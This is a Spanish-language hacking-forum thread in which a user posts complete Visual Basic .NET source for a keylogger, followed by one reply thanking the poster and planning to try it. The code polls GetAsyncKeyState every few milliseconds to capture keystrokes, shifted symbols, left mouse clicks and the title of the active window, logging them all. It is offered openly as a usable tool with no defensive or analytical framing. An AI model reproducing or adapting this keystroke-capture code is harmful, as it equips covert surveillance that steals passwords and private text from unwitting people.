Keylogger Visual Basic .NET

  • 1 Respuestas
  • 6714 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado dracko.rx

  • *
  • Underc0der
  • Mensajes: 238
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://rax0rnet.blogspot.com/
    • Email

Keylogger Visual Basic .NET

  • en: Septiembre 28, 2012, 12:37:25 pm
Este recoje un gran variedad de teclas y obtiene el nombre de la ventana donde se esta escribiendo para mayor informacion y obtiene tambien clicks del mouse solo del boton Izquierdo.

Código: (vbnet) [Seleccionar]
'------------------------------------|
'|Keylogger profesional de Robokop   |
'|Este codigo esta reservado         |
'|Para uso personal su distribucion  |
'|esta penada por la ley mexicana.   |
'------------------------------------|

'Este codigo ha sido escrito desde Cero en visual Studio .Net 2005
'Esta versión se encuentra libre de errores y con un warning que
'no eh podido corregir pero no hay problema porque funciona bien y utiliza apis nativas de Vb6
'Ya que en el .NET no he encontrado NameSPace de getAsyncKeyState xD
'Este codigo se ha baso en declaraciones para obtener corresponditenes nombres
'ya que se basa en la resta de 32767 para obtener los caracteres correctos.
'Por cierto fue un lio encontrar los numeros de cada letra ¬¬.

Option Strict Off
Option Explicit On
Imports VB = Microsoft.VisualBasic
Friend Class Form1
Inherits System.Windows.Forms.Form
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
Private Declare Function GetForegroundWindow Lib "user32" () As Integer
Private Declare Function GetWindowText Lib "user32"  Alias "GetWindowTextA"(ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
Private Declare Function GetWindowTextLength Lib "user32"  Alias "GetWindowTextLengthA"(ByVal hwnd As Integer) As Integer

Private LastWindow As String
Private LastHandle As Integer
Private dKey(255) As Integer
Private Const VK_SHIFT As Short = &H10s
Private Const VK_CTRL As Short = &H11s
Private Const VK_ALT As Short = &H12s
Private Const VK_CAPITAL As Short = &H14s
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form1_Load(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles MyBase.Load
        'Conversión de caracteres especiales....
        ChangeChr(33) = "[RePag]"
        ChangeChr(34) = "[AvPag]"
        ChangeChr(35) = "[Fin]"
        ChangeChr(36) = "[Inicio]"

        ChangeChr(45) = "[Insertar]"
        ChangeChr(46) = "[Suprimir]"

ChangeChr(48) = ")"
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "^"
ChangeChr(55) = "&"
ChangeChr(56) = "*"
ChangeChr(57) = "("

ChangeChr(186) = ";"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "/"

ChangeChr(219) = "["
ChangeChr(220) = "\"
ChangeChr(221) = "]"
ChangeChr(222) = "'"


ChangeChr(86) = ":"
ChangeChr(87) = "+"
ChangeChr(88) = "<"
ChangeChr(89) = "_"
ChangeChr(90) = ">"
ChangeChr(91) = "?"

ChangeChr(119) = "{"
ChangeChr(120) = "|"
ChangeChr(121) = "}"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub

Function TypeWindow() As Object
Dim svar As Object
        'Funcion para saber el tipo de ventana y devolver el nombre.
Dim Handle_Renamed As Integer
Dim textlen As Integer
Dim WindowText As String
        'Obtenemos el nombre de la vetana de fondo
Handle_Renamed = GetForegroundWindow
LastHandle = Handle_Renamed
textlen = GetWindowTextLength(Handle_Renamed) + 1

        WindowText = Space(textlen) 'Obtenemos el espacio del nombre
        svar = GetWindowText(Handle_Renamed, WindowText, textlen) 'Guardamos en la variable svar_
        'El contenido del nombre
WindowText = VB.Left(WindowText, Len(WindowText) - 1)
        'Cuando se hace cambio de ventana se pasa un espacio y se pone un delimitador_
        'con ese delimitador nos damos cuenta de que el nombre ya cambio .
If WindowText <> LastWindow Then
            If Text1.Text <> "" Then Text1.Text = Text1.Text & vbCrLf & vbCrLf
            'Separador que escrimos en el textbox
Text1.Text = Text1.Text & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
            LastWindow = WindowText 'vemos ventana
End If
End Function

Private Sub Timer1_Tick(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles Timer1.Tick
        Dim i As Object 'Timer que cada 5 milisegundos checa las pulsaciones de teclas...

        'cuando AlT se preciona.
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
            Text1.Text = Text1.Text & "[ALT]"
End If

        'Obtenemos caracteres de la A a la Z
        'Los obtenemos de una forma For To para Ahorrar codigo en especificar cada _
        'caracter asi que llevamos desde el numero ascii de A hasta la Z_
        'en mayuscula y miniscula
For i = Asc("A") To Asc("Z")

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

                If GetAsyncKeyState(VK_SHIFT) < 0 Then 'Shift
                    If GetKeyState(VK_CAPITAL) > 0 Then
                        Text1.Text = Text1.Text & LCase(Chr(i))
                        Exit Sub
                    Else
                        Text1.Text = Text1.Text & UCase(Chr(i))
                        Exit Sub
                    End If
                Else
                    If GetKeyState(VK_CAPITAL) > 0 Then 'Shift Izq
                        Text1.Text = Text1.Text & UCase(Chr(i))
                        Exit Sub
                    Else
                        Text1.Text = Text1.Text & LCase(Chr(i))
                        Exit Sub
                    End If
                End If

End If
Next

        'Obtenemos numeros del 1 al 0 y signos con shift
        '!"·$%&$%$$$··"·@@[email protected]€€36$%&$/$·$&&(/
For i = 48 To 57

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

If GetAsyncKeyState(VK_SHIFT) < 0 Then
                    Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
Else

Text1.Text = Text1.Text & Chr(i)
Exit Sub
End If

End If
Next


        'Obtenemos los signos donde estan los numeros en la parte derecha del teclado...
For i = 186 To 192

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

If GetAsyncKeyState(VK_SHIFT) < 0 Then
                    'Negacion-
Text1.Text = Text1.Text & ChangeChr(i - 100)
Exit Sub
Else
                    Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If

End If
Next


'[\]'
For i = 219 To 222

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

If GetAsyncKeyState(VK_SHIFT) < 0 Then

Text1.Text = Text1.Text & ChangeChr(i - 100)
Exit Sub
Else

Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If

End If
Next

        'Diferentes posiciones de Alt en el teclado.:P
        'Por cierto ya casi acabamos.
For i = 96 To 111

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
                    Text1.Text = Text1.Text & "[ALT-abajo]"
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
                        Text1.Text = Text1.Text & "[ALT-arriba]"
End If
End If


Text1.Text = Text1.Text & ChangeChr(i)
Exit Sub
End If
Next

        'Barra de Espacio y dejamos un espacio en el text
If GetAsyncKeyState(32) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & " "
End If

        'Enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Enter]"
End If

        'Retroceso
If GetAsyncKeyState(8) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[Retroceso]"
End If

        'Flecha Izq
If GetAsyncKeyState(37) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[FlechaIzq]"
End If
        '----Flechas---------
        'Flecha arriba
If GetAsyncKeyState(38) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[FlechaArriba]"
End If

        'Flecha derecha
If GetAsyncKeyState(39) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[FlechaDer]"
End If

        'Flecha abajo
If GetAsyncKeyState(40) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[FlechaAbajo]"
End If
        'Fin de flechas--------

        'Tabulador  ------>
        '           <------
If GetAsyncKeyState(9) = -32767 Then
TypeWindow()
            Text1.Text = Text1.Text & "[Tabulador]"
End If

'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow()
Text1.Text = Text1.Text & "[Escape]"
End If

        'Intertar y suprimir
For i = 45 To 46

If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
                Text1.Text = Text1.Text & ChangeChr(i)
End If
Next

        'Pagina arriba , pagina abajo ,home y End
For i = 33 To 36
            '
If GetAsyncKeyState(i) = -32767 Then
TypeWindow()
                Text1.Text = Text1.Text & ChangeChr(i)
End If
Next

        'Click izquierdo
If GetAsyncKeyState(1) = -32767 Then
            If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'Nos aseguramos que el click fue en la pagina vista
                Text1.Text = Text1.Text & "[ClickIzq]"
            End If
End If

End Sub

    Private Sub Text1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Text1.TextChanged

    End Sub
End Class



Necesita un Timer de intervalo con 5 , puede ser menos pero yo lo probe con ese.
Este codigo fue probado con la versión Visual Studio 2005 Libre de errores y con un solo warning pero funciona sin problemas.
« Última modificación: Mayo 27, 2014, 09:51:03 pm por Expermicid »
Venta de diseños - Contactar por MP

http://rax0rnet.blogspot.com/

Desconectado @NetFcruz

  • *
  • Underc0der
  • Mensajes: 40
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email

Re:Keylogger Visual Basic .NET

  • en: Diciembre 22, 2012, 01:07:37 pm
Es un grandisimo aporte ahora mismo lo pruebo, unas funciones que necesito parece que las tiene.
Saludos dracko.rx
System32
XD